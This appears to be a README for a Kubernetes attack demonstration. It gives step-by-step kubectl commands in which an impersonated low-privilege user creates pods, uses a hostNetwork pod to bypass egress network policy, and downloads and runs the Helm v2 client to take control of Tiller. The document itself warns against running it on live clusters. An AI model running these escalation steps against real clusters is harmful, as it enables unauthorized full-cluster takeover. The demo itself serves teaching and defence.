This scenario demonstrates the potential for privilege escalation and network policy bypass by a malicious insider or compromise of their credentials with the ability to create pods in a namespace leading to full cluster access.
NOTE: This scenario will run container with root access, and it set for demo purposes only. We strongly recommend NOT RUNNING IT ON A LIVE CLUSTER
Make sure your cluster is setup following the instructions here
- apply the network policy and RBAC rules
kubectl apply -f privilege-escalation/daemonset.yaml
- Test the access to the system
kubectl auth can-i --as [email protected] create pods -n kube-system
kubectl auth can-i --as [email protected] create pods -n default
- Deploy a simple pod
kubectl --as [email protected] apply -f privilege-escalation/simplepod.yaml
- Get a shell in the pod:
kubectl --as [email protected] exec -it simplepod -- /bin/sh
- Attempt to reach tiller directly:
wget -qO - tiller-deploy.kube-system:44134
exit
- Deploy a hostnetwork pod that bypasses network egress policy on the namespace.
kubectl --as [email protected] apply -f privilege-escalation/hostnetwork.yaml
- Exec in, download the helm client binary and run
helm ls
to show that it can control Tiller.
kubectl --as [email protected] exec -it hostnetwork -- /bin/sh
export PATH=/tmp:$PATH; cd /tmp; wget -qO helm.tar.gz https://get.helm.sh/helm-v2.16.1-linux-amd64.tar.gz; tar zxvf helm.tar.gz; chmod +x linux-amd64/helm; cp linux-amd64/helm .
export HELM_HOST=tiller-deploy.kube-system.svc.cluster.local:44134; helm version
exit
To cleanup run
kubectl delete -f privilege-escalation/